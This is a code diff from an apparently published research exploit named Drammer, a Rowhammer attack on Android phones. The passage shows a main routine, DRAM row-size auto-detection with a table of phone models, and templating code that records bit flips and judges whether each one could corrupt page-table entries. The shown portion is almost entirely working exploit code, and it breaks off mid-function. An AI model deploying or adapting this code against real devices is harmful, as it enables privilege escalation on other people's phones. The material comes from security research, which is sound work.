  171 + /*** ROW SIZE DETECTION (if not specified) */
  172 + if (!VALID_ROWSIZES.count(rowsize)) {
  173 + printf("[MAIN] No or weird row size provided, trying auto detect\n");
  174 + rowsize = RS_autodetect();
  175 + }
  176 + print("[MAIN] Row size: %d\n", rowsize);
  177 +
  178 + /*** EXHAUST */
  179 + printf("[MAIN] Exhaust ION chunks for templating\n");
  180 + exhaust(ion_chunks, rowsize * 4);
  181 +
  182 +
  183 + /* patterns: above victim below
  184 + * p000 0x00000000 0x00000000 0x00000000
  185 + * p001 0x00000000 0x00000000 0xffffffff
  186 + * p010 0x00000000 0xffffffff 0x00000000 <-- default
  187 + * p011 0x00000000 0xffffffff 0xffffffff
  188 + * p100 0xffffffff 0x00000000 0x00000000
  189 + * p101 0xffffffff 0x00000000 0xffffffff <-- default
  190 + * p110 0xffffffff 0xffffffff 0x00000000
  191 + * p111 0xffffffff 0xffffffff 0xffffffff
  192 + *
  193 + * p00r 0x00000000 0x00000000 0x<RANDOM>
  194 + * p0r0 0x00000000 0x<RANDOM> 0x00000000
  195 + * p0rr 0x00000000 0x<RANDOM> 0x<RANDOM>
  196 + * pr00 0x<RANDOM> 0x00000000 0x00000000
  197 + * pr0r 0x<RANDOM> 0x00000000 0x<RANDOM>
  198 + * prr0 0x<RANDOM> 0x<RANDOM> 0x00000000
  199 + * prrr 0x<RANDOM> 0x<RANDOM> 0x<RANDOM>
  200 + */
  201 +
  202 + printf("[MAIN] Initializing patterns\n");
  203 + uint8_t ones[MAX_ROWSIZE];
  204 + uint8_t zeros[MAX_ROWSIZE];
  205 + uint8_t rand1[MAX_ROWSIZE];
  206 + uint8_t rand2[MAX_ROWSIZE];
  207 + uint8_t rand3[MAX_ROWSIZE];
  208 + memset( ones, 0xff, MAX_ROWSIZE);
  209 + memset(zeros, 0x00, MAX_ROWSIZE);
  210 + for (int i = 0; i < MAX_ROWSIZE; i++) {
  211 + rand1[i] = rand() % 255;
  212 + rand2[i] = rand() % 255;
  213 + rand3[i] = rand() % 255;
  214 + }
  215 +
  216 + pattern_t p000 = { .above = zeros, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  217 + pattern_t p001 = { .above = zeros, .victim = zeros, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  218 + pattern_t p010 = { .above = zeros, .victim = ones, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  219 + pattern_t p011 = { .above = zeros, .victim = ones, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  220 + pattern_t p100 = { .above = ones, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  221 + pattern_t p101 = { .above = ones, .victim = zeros, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  222 + pattern_t p110 = { .above = ones, .victim = ones, .below = zeros, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  223 + pattern_t p111 = { .above = ones, .victim = ones, .below = ones, .cur_use = 0, .max_use = 0, .reset_above = NULL, .reset_victim = NULL, .reset_below = NULL };
  224 +
  225 + pattern_t p00r = { .above = zeros, .victim = zeros, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = NULL, .reset_below = resetter };
  226 + pattern_t p0r0 = { .above = zeros, .victim = rand2, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = resetter, .reset_below = NULL };
  227 + pattern_t p0rr = { .above = zeros, .victim = rand2, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = NULL, .reset_victim = resetter, .reset_below = resetter };
  228 + pattern_t pr00 = { .above = rand1, .victim = zeros, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = NULL, .reset_below = NULL };
  229 + pattern_t pr0r = { .above = rand1, .victim = zeros, .below = rand1, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = NULL, .reset_below = resetter };
  230 + pattern_t prr0 = { .above = rand1, .victim = rand2, .below = zeros, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = resetter, .reset_below = NULL };
  231 + pattern_t prrr = { .above = rand1, .victim = rand2, .below = rand3, .cur_use = 0, .max_use = 100, .reset_above = resetter, .reset_victim = resetter, .reset_below = resetter };
  232 +
  233 + std::vector<struct pattern_t *> patterns;
  234 + if (all_patterns)
  235 + patterns = {&p000, &p001, &p010, &p011, &p100, &p101, &p110, &p111,
  236 + &p00r, &p0r0, &p0rr, &pr00, &pr0r, &prr0, &prrr};
  237 + else
  238 + patterns = {&p101, &p010};
  239 +
  240 + /*** TEMPLATE */
  241 + printf("[MAIN] Start templating\n");
  242 + TMPL_run(ion_chunks, templates, patterns, timer, hammer_readcount, do_conservative);
  243 +
  244 + /*** CLEAN UP */
  245 + ION_clean_all(ion_chunks);
  246 +
  247 + printf("[MAIN] ION fini\n");
  248 + ION_fini();
  249 +}
... ...
exploits/drammer/rowsize.cc 0 → 100644
  1 +++ a/exploits/drammer/rowsize.cc
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +
  18 +#include <algorithm>
  19 +#include <cmath>
  20 +#include <cstdio>
  21 +#include <memory>
  22 +#include <numeric>
  23 +#include <string>
  24 +#include <iostream>
  25 +
  26 +#include <stdlib.h>
  27 +#include <sys/mman.h>
  28 +#include <unistd.h>
  29 +
  30 +#include "helper.h"
  31 +#include "ion.h"
  32 +#include "rowsize.h"
  33 +
  34 +#define ROWSIZE_READCOUNT 2500000 // 2.5 million reads
  35 +#define ROWSIZE_PAGES 64
  36 +
  37 +#define DEFAULT_ROWSIZE K(64)
  38 +
  39 +std::vector<struct model> models = {
  40 +// model ro.product.name board platform ion row generic name
  41 +
  42 +// Snapdragon 820
  43 +// {"SM-G935T", "hero2qltetmo", "msm8996", "msm8996", 21, 0, "Samsung Galaxy S7 Edge"},
  44 +// {"SAMSUNG-SM-G930A", "heroqlteuc","MSM8996", "msm8996", 21, 0, "Samsung Galaxy S7"},
  45 +
  46 +// Snapdragon 810
  47 +// {"Nexus 6P", "angler", "angler", "msm8994", 21, 0, "Huawei Nexus 6P"},
  48 + {"E6853", "E6853", "msm8994", "msm8994", 21, K(64), "Sony Xperia Z5"},
  49 +
  50 +// Snapdragon 808
  51 + {"Nexus 5X", "bullhead", "bullhead", "msm8992", 21, K(64), "LG Nexus 5X"},
  52 + {"LG-H960", "pplus_global_com", "msm8992", "msm8992", 21, K(64), "LG V10"},
  53 + {"LG-H815", "p1_global_com", "msm8992", "msm8992", 21, K(64), "LG G4"},
  54 +
  55 + {"C1905", "cm_nicki", "qcom", "msm8960", 22, K(32), "Sony Xperia M"},
  56 +
  57 +// Snapdragon 805
  58 + {"SM-G901F", "kccat6xx", "APQ8084", "apq8084", 21, K(128), "Samsung Galaxy S5 Plus"},
  59 +// {"SM-N910V", "trltevzw", "APQ8084", "apq8084", 21, 0, "Samsung Galaxy Note 4"},
  60 +
  61 +// Snapdragon 800
  62 + {"Nexus 5", "hammerhead", "hammerhead", "msm8974", 21, K(64), "LG Nexus 5"},
  63 + {"A0001", "bacon", "MSM8974", "msm8974", 21, K(128), "OnePlus One"},
  64 + {"SM-G870F", "klteactivexx", "MSM8974", "msm8974", 21, K(64), "Samsung Galaxy S5 Active"},
  65 +// {"SM-G900T", "kltetmo", "MSM8974", "msm8974", 21, 0, "Samsung Galaxy S5"},
  66 +
  67 +// Snapdragon 410:
  68 +// {"SM-A500FU", "a5ultexx", "MSM8916", "msm8916", 21, 0, "Samsung Galaxy A5"},
  69 +// {"MotoG3", "osprey_retus", "msm8916", "msm8916", 21, 0, "Motorola Moto G 3rd Gen"},
  70 + {"GT-I9195I", "serranoveltexx", "MSM8916", "msm8916", 21, K(32), "Samsung Galaxy S4 Mini"},
  71 + {"KIW-L21", "KIW-L21", "KIW-L21", "msm8916", 21, K(32), "Huawei Honor 5X"},
  72 + {"MotoE2(4G-LTE)", "surnia_reteu","msm8916", "msm8916", 21, K(32), "Motorola Moto E 2nd Gen"},
  73 + {"MotoG3", "osprey_reteu", "msm8916", "msm8916", 21, K(32), "Motorola Moto G 3rd Gen"},
  74 + {"HUAWEI RIO-L01", "RIO-L01", "RIO-L01", "msm8916", 21, K(64), "Huawei GX8/G8"},
  75 + {"HTC One M8s","m8qlul_htc_europe","msm8939", "msm8916", 21, K(64), "HTC One M8s"},
  76 +
  77 +// Snapdragon 400:
  78 + {"XT1064", "titan_retuaws", "MSM8226", "msm8226", 21, K(32), "Motorola Moto G 2nd Gen"},
  79 + {"XT1068", "titan_retaildsds", "MSM8226", "msm8226", 21, K(32), "Motorola Moto G 2nd Gen"},
  80 +// {"LG-V410", "e7lte_att_us", "MSM8226", "msm8226", 21, 0, "LG G Pad 7.0"},
  81 +
  82 + {"SM-J320FN", "j3xnltexx", "SC9830I", "sc8830", 2, K(32), "Samsung Galaxy J3 2016"},
  83 + {"SM-A310F", "a3xeltexx", "universal7580", "exynos5", 4, K(64), "Samsung Galaxy A3 2016"}, // not sure about the rowsize...
  84 + {"SM-A700F", "a7altexx", "universal5430", "exynos5", 4, K(128), "Samsung Galaxy A7"},
  85 + {"SM-G920F", "zerofltexx", "universal7420", "exynos5", 4, K(128), "Samsung Galaxy S6"},
  86 + {"SM-G935F", "hero2ltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7 Edge"},
  87 + {"SM-G930F", "heroltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7"},
  88 +// {"SM-T710", "gts28wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 8.0"},
  89 + {"SM-G935F", "hero2ltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7 Edge"},
  90 + {"SM-G930F", "heroltexx", "universal8890", "exynos5", 4, K(256), "Samsung Galaxy S7"},
  91 +// {"SM-T710", "gts28wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 8.0"},
  92 +// {"SM-T810", "gts210wifixx", "universal5433", "exynos5", 4, 0, "Samsung Galaxy Tab S2 9.7"},
  93 + { "SM-N910C", "treltexx", "universal5433", "exynos5", 4, K(64), "Samsung Galaxy Note 4"},
  94 +
  95 + // Snapdragon S4
  96 +// {"AOSP on Mako", "full_mako", "MAKO", "msm8960", 21, 0, ""},
  97 +
  98 + {"ALE-L21", "ALE-L21", "BalongV8R1SFT", "hi6210sft",1, K(32), "Huawei P8 Lite"},
  99 + {"EVA-L09", "EVA-L09", "EVA-L09", "hi3650", 1, K(64), "Huawei P9"},
  100 + {"HUAWEI VNS-L31", "VNS-L31", "VNS-L31", "hi6250", 1, K(32), "Huawei P9 Lite"},
  101 +
  102 + {"NEO6_LTE", "NEO6_LTE", "", "mt6735", 1, K(32), "Odys Neo 6"},
  103 +
  104 + {"HTC Desire 830 dual sim","a51cml_dtul_00401","", "mt6753", 1, K(64), "HTC Desire 830"},
  105 +
  106 + {"E5603", "E5603", "", "mt6795", 1, K(64), "Sony Xperia M5"}
  107 +
  108 +
  109 + // MT6572
  110 +// {"Goophone i5C", "mbk72_wet_jb3", "mbk72_wet_jb3", "", 21, 0, "Goophone i5C"},
  111 +
  112 + // MT8735
  113 +
  114 +
  115 +};
  116 +
  117 +int rowsize;
  118 +
  119 +uint64_t compute_mad(std::vector<uint64_t> &v) {
  120 + uint64_t median = compute_median(v);
  121 +
  122 + std::vector<uint64_t> absolute_deviations;
  123 + for (auto it : v) {
  124 + if (it < median) absolute_deviations.push_back( median - it );
  125 + else absolute_deviations.push_back (it - median );
  126 + }
  127 + sort(absolute_deviations.begin(), absolute_deviations.end());
  128 + return compute_median(absolute_deviations);
  129 +}
  130 +
  131 +uint64_t compute_iqr(std::vector<uint64_t> &v, uint64_t *q1, uint64_t *q2, uint64_t *q3) {
  132 + std::vector<uint64_t> tmp = v;
  133 + sort(tmp.begin(), tmp.end());
  134 + auto const i1 = tmp.size() / 4;
  135 + auto const i2 = tmp.size() / 2;
  136 + auto const i3 = i1 + i2;
  137 + std::nth_element(tmp.begin(), tmp.begin() + i1, tmp.end());
  138 + std::nth_element(tmp.begin() + i1 + 1, tmp.begin() + i2, tmp.end());
  139 + std::nth_element(tmp.begin() + i2 + 1, tmp.begin() + i3, tmp.end());
  140 + *q1 = tmp[i1];
  141 + *q2 = tmp[i2];
  142 + *q3 = tmp[i3];
  143 + return (tmp[i3] - tmp[i1]);
  144 +}
  145 +
  146 +std::string getprop(std::string property) {
  147 + std::string cmd = "/system/bin/getprop ";
  148 + cmd += property;
  149 +
  150 + char buffer[128];
  151 + std::string value = "";
  152 + std::shared_ptr<FILE> pipe(popen(cmd.c_str(), "r"), pclose);
  153 + if (!pipe) {
  154 + perror("popen failed");
  155 + return value;
  156 + }
  157 + while (!feof(pipe.get())) {
  158 + if (fgets(buffer, 128, pipe.get()) != NULL)
  159 + value += buffer;
  160 + }
  161 + value.erase(std::remove(value.begin(), value.end(), '\n'), value.end());
  162 + return value;
  163 +}
  164 +
  165 +#define KNOWN_MODEL 2
  166 +#define FAMILIAR_MODEL 1
  167 +#define UNKNOWN_MODEL 0
  168 +struct model *get_model(int *familiarity) {
  169 + std::string model = getprop("ro.product.model");
  170 + print("[RS] ro.product.model: %s\n", model.c_str());
  171 +
  172 + std::string name = getprop("ro.product.name");
  173 + print("[RS] ro.product.name: %s\n",name.c_str());
  174 +
  175 + std::string board = getprop("ro.product.board");
  176 + print("[RS] ro.product.board: %s\n", board.c_str());
  177 +
  178 + std::string platform = getprop("ro.board.platform");
  179 + print("[RS] ro.board.platform: %s\n", platform.c_str());
  180 +
  181 + for (std::vector<struct model>::iterator it = models.begin();
  182 + it != models.end();
  183 + ++it) {
  184 + struct model *m = &(*it);
  185 + if (m->model == model || m->name == name) {
  186 + print("[RS] known model: %s\n", m->generic_name.c_str());
  187 + *familiarity = KNOWN_MODEL;
  188 + return m;
  189 + }
  190 + }
  191 +
  192 + for (std::vector<struct model>::iterator it = models.begin();
  193 + it != models.end();
  194 + ++it) {
  195 + struct model *m = &(*it);
  196 + if (m->board == board || m->platform == platform) {
  197 + printf("[RS] familiar model: %s\n", m->generic_name.c_str());
  198 + *familiarity = FAMILIAR_MODEL;
  199 + return m;
  200 + }
  201 + }
  202 +
  203 + *familiarity = UNKNOWN_MODEL;
  204 + return NULL;
  205 +}
  206 +
  207 +
  208 +/* auto detect row size */
  209 +int RS_autodetect(void) {
  210 +
  211 + print("[RS] Trying getprop\n");
  212 + int familiarity;
  213 + struct model *m = get_model(&familiarity);
  214 + if (familiarity == KNOWN_MODEL) {
  215 + rowsize = m->rowsize;
  216 + return rowsize;
  217 + }
  218 +
  219 +
  220 + print("[RS] Allocating 256 ion chunk\n");
  221 + struct ion_data data;
  222 + data.handle = ION_alloc(K(256));
  223 + if (data.handle == 0) {
  224 + perror("Could not allocate 256K chunk for row size detection");
  225 + exit(EXIT_FAILURE);
  226 + }
  227 + data.len = K(256);
  228 + ION_mmap(&data);
  229 +
  230 + print("[RS] Reading from page 0 and page x (x = 0..%d)\n",ROWSIZE_PAGES);
  231 + std::vector<uint64_t> deltas;
  232 + int page1 = 0;
  233 + volatile uintptr_t *virt1 = (volatile uintptr_t *) ((uint64_t) data.mapping + (page1 * PAGESIZE));
  234 + for (int page2 = 0; page2 < ROWSIZE_PAGES; page2++) {
  235 + volatile uintptr_t *virt2 = (volatile uintptr_t *) ((uint64_t) data.mapping + (page2 * PAGESIZE));
  236 +
  237 + uint64_t t1 = get_ns();
  238 + for (int i = 0; i < ROWSIZE_READCOUNT; i++) {
  239 + *virt1;
  240 + *virt2;
  241 + }
  242 + uint64_t t2 = get_ns();
  243 + deltas.push_back((t2 - t1) / ROWSIZE_READCOUNT);
  244 +
  245 + print("%llu ", deltas.back());
  246 + }
  247 + print("\n");
  248 +
  249 + if (munmap(data.mapping, data.len)) {
  250 + perror("Could not munmap");
  251 + exit(EXIT_FAILURE);
  252 + }
  253 + if (close(data.fd)) {
  254 + perror("Could not close");
  255 + exit(EXIT_FAILURE);
  256 + }
  257 + if (ION_free(data.handle)) {
  258 + perror("Could not free");
  259 + exit(EXIT_FAILURE);
  260 + }
  261 +
  262 + uint64_t q1, q2, q3;
  263 + uint64_t iqr = compute_iqr (deltas, &q1, &q2, &q3);
  264 + uint64_t median = compute_median(deltas);
  265 + uint64_t mad = compute_mad (deltas);
  266 +
  267 + print("[RS] Median: %llu\n", median);
  268 + print("[RS] MAD: %llu\n", mad);
  269 + print("[RS] IQR: %llu\n", iqr);
  270 +
  271 + // MAD, IQR and standard deviation all need some form of correction... :(
  272 + iqr += 5;
  273 + print("[RS] Corrected IQR: %llu\n", iqr);
  274 +
  275 +
  276 + /* try simple algorithm first */
  277 + int count = 0;
  278 + for (auto it: deltas) {
  279 + if (it < 2*median) {
  280 + count++;
  281 + } else {
  282 + break;
  283 + }
  284 + }
  285 + printf("count: %d\n", count);
  286 + rowsize = count * 4096;
  287 +
  288 + /* do more advanced stuff if the rowsize is absurd */
  289 + if (rowsize >= K(128)) {
  290 +
  291 + print("[RS] Sequences: ");
  292 + std::vector<uint64_t> seq_normal;
  293 + std::vector<uint64_t> seq_outlier;
  294 + int sn = 0; int so = 0;
  295 + for (auto it : deltas) {
  296 + if (it < q1 - 1.5*iqr || it > q3 + 1.5*iqr) {
  297 + if (so != 0) {
  298 + seq_normal.push_back(so);
  299 + print("%d ", so);
  300 + so = 0;
  301 + }
  302 + sn++;
  303 + } else {
  304 + if (sn != 0) {
  305 + seq_outlier.push_back(sn);
  306 + print("%d ", sn);
  307 + sn = 0;
  308 + }
  309 + so++;
  310 + }
  311 + }
  312 + printf("\n");
  313 +
  314 + rowsize = (compute_median(seq_normal) + compute_median(seq_outlier)) * 4096;
  315 + }
  316 +
  317 +
  318 + print("[RS] Detected row size: %d\n", rowsize);
  319 + if (!VALID_ROWSIZES.count(rowsize)) {
  320 + if (familiarity == FAMILIAR_MODEL) {
  321 + print("[RS] WARNING! Weird row size detected, assuming familiar model's rowsize %d\n", m->rowsize);
  322 + rowsize = m->rowsize;
  323 + } else {
  324 + print("[RS] WARNING! Weird row size detected, assuming %d\n", DEFAULT_ROWSIZE);
  325 + rowsize = DEFAULT_ROWSIZE;
  326 + }
  327 + }
  328 +
  329 + return rowsize;
  330 +}
... ...
exploits/drammer/rowsize.h 0 → 100644
  1 +++ a/exploits/drammer/rowsize.h
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +#ifndef __ROWSIZE_H__
  18 +#define __ROWSIZE_H__
  19 +
  20 +#include <set>
  21 +
  22 +#include "helper.h"
  23 +
  24 +const std::set<int> VALID_ROWSIZES = {K(16), K(32), K(64), K(128), K(256)};
  25 +
  26 +#define PAGES_PER_ROW (rowsize / PAGESIZE)
  27 +#define MAX_ROWSIZE K(256)
  28 +
  29 +int RS_autodetect(void);
  30 +
  31 +struct model {
  32 + std::string model; // ro.product.model
  33 + std::string name; // ro.product.name
  34 + std::string board; // ro.product.board
  35 + std::string platform; // ro.board.platform
  36 + int kmalloc_heap;
  37 + int rowsize;
  38 + std::string generic_name;
  39 +};
  40 +
  41 +
  42 +#endif // __ROWSIZE_H__
... ...
exploits/drammer/templating.cc 0 → 100644
  1 +++ a/exploits/drammer/templating.cc
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +
  17 +
  18 +#include <assert.h>
  19 +#include <stdlib.h>
  20 +
  21 +#include "ion.h"
  22 +#include "rowsize.h"
  23 +#include "templating.h"
  24 +
  25 +extern int rowsize;
  26 +
  27 +#define PAGES_PER_ROW (rowsize / PAGESIZE)
  28 +
  29 +#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1")
  30 +
  31 +//#define DEBUG
  32 +
  33 +#ifdef DEBUG
  34 +#define dprintf(...) printf(__VA_ARGS__)
  35 +#else
  36 +#define dprintf(...) do {} while (0)
  37 +#endif
  38 +
  39 +
  40 +int spc_flips = 0;
  41 +
  42 +bool is_exploitable(struct template_t *tmpl) {
  43 + int rows_per_chunk = tmpl->ion_len / rowsize;
  44 +
  45 + dprintf("- bits flipped : %6d\n", tmpl->bits_set);
  46 + if (tmpl->bits_set != 1) {
  47 + dprintf("[ :( ] We support only single flips\n");
  48 + return false;
  49 + }
  50 +
  51 + dprintf("- index in page table: %6d\n", tmpl->word_index_in_pt);
  52 + if (tmpl->word_index_in_pt < 0) {
  53 + dprintf("[ :( ] Flip will never fall in hardware page table\n");
  54 + return false;
  55 + }
  56 +
  57 + dprintf("- index in word : %6d\n", tmpl->bit_index_in_word);
  58 + if (tmpl->bit_index_in_word < 12) {
  59 + dprintf("[ :( ] Flip is in properties of PTE\n");
  60 + return false;
  61 + }
  62 +
  63 +
  64 + dprintf("- flip direction : %s\n", FLIP_DIRECTION_STR(tmpl->direction));
  65 +
  66 + dprintf("- relative target pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->target_pfn, tmpl->target_pfn_row, tmpl->target_page_index_in_row, tmpl->target_16k_pfn);
  67 + dprintf("- relative source pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->source_pfn, tmpl->source_pfn_row, tmpl->source_page_index_in_row, tmpl->source_16k_pfn);
  68 + if (tmpl->source_pfn_row < 0 || tmpl->source_pfn_row >= rows_per_chunk) {
  69 + dprintf("[ :( ] Flip offset requires illegal source pfn\n");
  70 + return false;
  71 + }
  72 +
  73 + if (tmpl->direction == ZERO_TO_ONE) {
  74 + /* A 0-to-1 flip in the PTE acts as an addition. If the new PFN (the
  75 + * page table) is in the same row as the old PFN (the mapped ION data chunk),
  76 + * it should be (1) ahead of the old one, and (2) fall in a different
  77 + * 'minimum ION chunk boundary' (dictated by what ION allocations go
  78 + * through slab, usually < 16K). */
  79 + if (tmpl->source_pfn_row == tmpl->target_pfn_row) {
  80 + if (tmpl->source_16k_pfn >= tmpl->target_16k_pfn) {
  81 + dprintf("[ :( ] Target 16k pfn not after source 16k pfn\n");
  82 + return false;
  83 + }
  84 + } else if (tmpl->source_pfn_row > tmpl->target_pfn_row) {
  85 + dprintf("[ :( ] Target row not after source row\n");
  86 + return false;
  87 + }
  88 + } else {
  89 + /* A 1-to-0 flip in the PTE acts as an addition, so it's all backwards
  90 + * now */
  91 + if (tmpl->source_pfn_row == tmpl->target_pfn_row) {
  92 + if (tmpl->source_16k_pfn <= tmpl->target_16k_pfn) {
  93 + dprintf("[ :( ] Target 16k pfn not before source 16k pfn\n");
  94 + return false;
  95 + }
  96 + } else if (tmpl->source_pfn_row < tmpl->target_pfn_row) {
  97 + dprintf("[ :( ] Target row not before source row\n");
  98 + return false;
  99 + }
  100 + }
  101 +
  102 + dprintf("[ :) ] FLIP MIGHT BE EXPLOITABLE!\n");
  103 + return true;
  104 +}
  105 +
  106 +bool template_exists(std::vector<struct template_t *> &templates,
  107 + uintptr_t virt, uint32_t org_byte, uint32_t new_byte) {
  108 + for (auto tmpl : templates) {
  109 + if (tmpl->virt_addr == virt &&
  110 + tmpl->org_byte == org_byte &&
  111 + tmpl->new_byte == new_byte) return true;
  112 + }
  113 + return false;
  114 +}
  115 +
  116 +
  117 +void handle_flip(uint8_t *virt_row,
  118 + uintptr_t *virt_above,
  119 + uintptr_t *virt_below,
  120 + uint8_t *pattern,
  121 + std::vector<struct template_t *> &templates, int index_in_row, struct ion_data *chunk) {
  122 +
  123 + struct template_t *tmpl = (struct template_t *) malloc(sizeof(struct template_t));
  124 +
  125 + tmpl->virt_row = (uintptr_t) virt_row;
  126 + tmpl->virt_addr = (uintptr_t) virt_row + index_in_row;
  127 + tmpl->phys_addr = (uintptr_t) get_phys_addr(tmpl->virt_addr);
  128 + tmpl->virt_page = (uintptr_t) (tmpl->virt_addr / PAGESIZE) * PAGESIZE;
  129 + tmpl->virt_above = (uintptr_t) virt_above;
  130 + tmpl->virt_below = (uintptr_t) virt_below;
  131 +
  132 + tmpl->org_byte = (uint8_t) pattern[index_in_row];
  133 + tmpl->new_byte = (uint8_t) virt_row[index_in_row];
  134 + tmpl->org_word = (uint32_t) ((uint32_t *) pattern)[index_in_row / 4];
  135 + tmpl->new_word = (uint32_t) ((uint32_t *)virt_row)[index_in_row / 4];
  136 + tmpl->xorred_byte = tmpl->org_byte ^ tmpl->new_byte;
  137 + tmpl->xorred_word = tmpl->org_word ^ tmpl->new_word;
  138 + tmpl->bits_set = __builtin_popcount(tmpl->xorred_word);
  139 +
  140 + tmpl->byte_index_in_row = index_in_row;
  141 + tmpl->byte_index_in_page = index_in_row % PAGESIZE;
  142 + tmpl->word_index_in_page = tmpl->byte_index_in_page / 4;
  143 + tmpl->word_index_in_pt = tmpl->word_index_in_page - 512;
  144 + tmpl->bit_index_in_word = ffs(tmpl->xorred_word) - 1;
  145 +
  146 + tmpl->org_bit = (tmpl->org_word & tmpl->xorred_word) >> tmpl->bit_index_in_word;
  147 + tmpl->direction = tmpl->org_bit ? ONE_TO_ZERO : ZERO_TO_ONE;
  148 +
  149 + tmpl->ion_chunk = chunk;
  150 + tmpl->ion_len = chunk->len;
  151 +
  152 + tmpl->rel_address = (uintptr_t) tmpl->virt_addr - (uintptr_t) tmpl->ion_chunk->mapping;
  153 + tmpl->rel_row_index = tmpl->rel_address / rowsize;
  154 + tmpl->rel_pfn = tmpl->rel_address / PAGESIZE;
  155 +
  156 + tmpl->target_pfn = tmpl->rel_pfn;
  157 + tmpl->source_pfn = tmpl->target_pfn ^ (1 << (tmpl->bit_index_in_word - 12));
  158 + tmpl->target_pfn_row = tmpl->target_pfn / PAGES_PER_ROW;
  159 + tmpl->source_pfn_row = tmpl->source_pfn / PAGES_PER_ROW;
  160 + tmpl->target_pte = tmpl->target_pfn << 12;
  161 + tmpl->source_pte = tmpl->source_pfn << 12;
  162 + tmpl->target_page_index_in_row = tmpl->target_pfn - (tmpl->target_pfn_row * PAGES_PER_ROW);
  163 + tmpl->source_page_index_in_row = tmpl->source_pfn - (tmpl->source_pfn_row * PAGES_PER_ROW);
  164 +
  165 + tmpl->target_16k_pfn = tmpl->target_pfn / 4;
  166 + tmpl->source_16k_pfn = tmpl->source_pfn / 4;
  167 + tmpl->found_at = time(NULL);
  168 +
  169 +
  170 + print("[FLIP] i:%p l:%d v:%p p:%p b:%5d 0x%08x != 0x%08x s:%d",
  171 + tmpl->ion_chunk->mapping,
  172 + tmpl->ion_len,
  173 + (void *) tmpl->virt_addr,
  174 + (void *) tmpl->phys_addr,
  175 + tmpl->byte_index_in_row,
  176 + tmpl->org_word,
  177 + tmpl->new_word,
  178 + tmpl->found_at);
  179 + printf("\n");
  180 +
  181 + tmpl->maybe_exploitable = is_exploitable(tmpl);
  182 + if (global_of) {
  183 + if (tmpl->maybe_exploitable) fprintf(global_of, "!\n");
  184 + else fprintf(global_of,"\n");
  185 + }
  186 +
  187 + templates.push_back(tmpl);
  188 +
  189 +
  190 +}
  191 +
  192 +int get_exploitable_flip_count(std::vector<struct template_t *> &templates) {
  193 + int count = 0;
  194 + for (auto tmpl : templates) {
  195 + if (tmpl->maybe_exploitable) count++;
  196 + }
  197 + return count;
  198 +}
  199 +int get_direction_flip_count(std::vector<struct template_t *> &templates, int direction) {
  200 + int count = 0;
  201 + for (auto tmpl : templates) {
  202 + if (tmpl->direction == direction) count++;
  203 + }
  204 + return count;
  205 +}
  206 +struct template_t * get_first_exploitable_flip(std::vector<struct template_t *> &templates) {
  207 + for (auto tmpl : templates) {
  208 + if (tmpl->maybe_exploitable) return tmpl;
  209 + }
  210 + return NULL;
  211 +}
  212 +
  213 +int find_flips_in_row(std::vector<struct template_t *> &templates, uintptr_t phys1) {
  214 + int flips = 0;
  215 + for (auto tmpl : templates) {
  216 + if (tmpl->phys_addr >= phys1 && tmpl->phys_addr < (phys1 + rowsize)) flips++;
  217 + }
  218 + return flips;
  219 +}
  220 +
  221 +int do_hammer(uint8_t *virt_row,
  222 + volatile uintptr_t *virt_above,
  223 + volatile uintptr_t *virt_below,
